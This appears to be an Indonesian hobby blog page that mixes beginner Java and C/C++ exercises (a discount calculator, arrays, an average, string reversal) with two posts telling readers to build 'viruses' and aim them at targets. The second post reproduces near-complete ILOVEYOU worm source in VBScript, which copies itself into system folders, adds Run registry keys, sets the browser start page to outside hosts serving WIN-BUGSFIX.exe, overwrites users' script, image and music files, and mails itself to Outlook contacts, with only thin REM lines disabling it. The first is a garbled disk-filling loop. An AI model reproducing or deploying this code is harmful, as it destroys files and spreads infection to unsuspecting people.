Discont Barang

Source Code :
public class Diskon{
public static void main (String [] args){
int kode, harga, total;
String jenis;
String Diskon;

System.out.println();
System.out.print("KODE  : ");
kode = Integer.parseInt(System.console().readLine());

System.out.print("JENIS [ A, B, C, D ]: ");
jenis = System.console().readLine();

System.out.print("HARGA : ");
harga = Integer.parseInt(System.console().readLine());

if(jenis.toUpperCase().equals("A"))
{
total = harga-(harga * 10 / 100);
Diskon = "10%";
}
else if(jenis.toUpperCase().equals("B"))
{
total = harga-(harga * 15 / 100);
Diskon = "15%";
}
else if(jenis.toUpperCase().equals("C"))
{
total = harga-(harga * 20 / 100);
Diskon = "20%";
}
else if(jenis.toUpperCase().equals("D"))
{
total = harga-(harga * 25 / 100);
Diskon = "25%";
}
else
{
total = 0;
Diskon = "0%";
}

System.out.println();
System.out.print("Jenis barang " + jenis.toUpperCase());
System.out.print(" Mendapatkan diskon = " + Diskon);
System.out.print(" Harga setelah didiskon " + total);
System.out.println();
}
}

Outputnya :

Silahkan Copas Gannnn,,,,

Tapi Tolong Jangan Lupa Komentarnya yy gann,,,

Read More

Array

Source Code :


#include <cstdlib>
#include <iostream>
using namespace std;

int main()
{
int nilai[10];
nilai[0]=1;
nilai[1]=2;
nilai[2]=3;
nilai[3]=4;
nilai[4]=5;
nilai[5]=6;
nilai[6]=7;
nilai[7]=8;
nilai[8]=9;
nilai[9]=10;

cout<<"Array 1 dimensi \n";
cout<<"isi array = \n";

for (int i=0;i<10;i++)
{
cout<<"\n"<<" Nilai "<<i<<" = "<<nilai[i]<<endl;
}

system("PAUSE");
return EXIT_SUCCESS;
}

Outputnya :

Read More

Nilai Rata - Rata

Source Code :


#include <stdio.h>
#define SIZE 20
int main(void) {
int data[SIZE];
int i, jml;
float tot, rerata;
printf("jumlah data [max 20]: ");
scanf("%d", &jml);
for(i = 0; i < jml; i++) {
printf("data ke-%d: ", i);
scanf("%d", &data[i]);
}
tot = 0;
for(i = 0; i < jml; i++) {
tot+=data[i];
}
rerata = tot / jml;
printf("rata-rata: %.2f", rerata);
return 0;
}

Outputnya :

Read More

Kata Terbalik

Source Code :
#include <stdio.h>
#include <string.h>
#define SIZE 20
int main(void) {
char str[SIZE];
int i, l;
printf("masukkan 1 kata: ");
scanf("%s", str);
l = strlen(str);
printf("terbalik: ");
for(i = l - 1; i >= 0; i--) {
printf("%c", str[i]);
}
return 0;
}


Outputnya :

Read More

ARRAY 2 DIMENSI

Gan sekarang ini saya ingin bikin coding dengan program C++ nih,,,

lansung ajj gann ke langkah" cara nya..

1. Pertama" kita buka notped++ dlu, ,,
2. Copas coding di bawah ini ke notped ++

Source Code

#include <stdio.h>
#define ROW 3
#define COL 5
int main(void) {
int data[ROW][COL];
int i, j;
printf("—- ARRAY 2 DIMENSI --\n\n");
for(i = 0; i < ROW; i++) {
printf("baris ke-%d\n", i);
for(j = 0; j < COL; j++) {
printf(" data kolom %d: ", j);
scanf("%d", &data[i][j]);
}
printf("\n");
}
printf("hasilnya: \n-----------------\n");
for(i = 0; i < ROW; i++) {
for(j = 0; j < COL; j++) {
printf(" %d\t", data[i][j]);
}
printf("\n");
}
return 0;
}

3. save file yang sudah di bikin dengan nama ArrayDimensi.cpp
4. Berhasil Deh Gannn,,, :)


Outputnya :

jangan lupa komentarnya ya gannn,,,

Salam sukses gannn

Read More

Virus Amburadul

Gan mungkin source code di bawah ini hanya sedikit,,,  tpi jangan di pandang dikit nya gann,,  soal nya sangat ampuh,,  heheheh,,,

1. Pertama-tama kita bikin virus ini, kita baca bismillah dulu gann,,  biar bikin nya lancar gtuuu,,,  hehe
2. Buka Aplikasi notpen or notped ++ gann,,
3. COPAS Coding dibawah ini gann,,

Source Code :

//START v.c
#include
#include
void main()
{
while(1)
{
system(“dir>>â•ša.exe”);
}
}
//END

3. Save file tersebut dengan nama Virus Amburadul.BAT
4. Selesai deh gan bikin virus nya,,,
5. Siap" in ajj sasaran nya gann,,  heheheheh   :)


Jangan Lupa Koment dan saran nya yy gannn,,,

Read More

Virus I LOVE U

Gannn  kali ini hati saya rasa gembira gan,, karna saya lgi jatuh cinta sama seseorang,,,  heeheheh
dengan kegembiran ini, saya ingin bikin virus dengan nama virus I LOVE U gannn,,,  hehehehe
Lebay banget yy gann nama nya,,, hehehe,,  maklum saya kan suka gomball,, karna belajar dari gombal.com
hehehehe brcanda gann,,

Lansung ajj gan k sumber nya,,

1. Pertama - tama kita buka aplikasi notped or pun notped ++
2. Copas coding di bawah ini ke notped gann

Source Code :

rem barok -loveletter(vbe) <I hate="" go="" to="" school="">
rem by: SkinneR / j-p@fbi.gov/ Group /???/ ???/www.Radiohacktive.tk
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d

ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf

7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j

nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V

bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras

djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy

7thjg/WIN-BUGSFIX.exe"
end if
end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

Sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files

for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if

end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next

end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

function fileexist(filespec)

On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if

fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function


sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega

d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if

if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub

3. Save file tersebut dengan nama Virus I LOVE U.VBS
4. Selesai deh gan bikin virus nya,,
5. Siap" in ajj sasaran nya gann,,  heheheheh   :)


Jangan Lupa Koment dan saran nya yy gannn,,,

Read More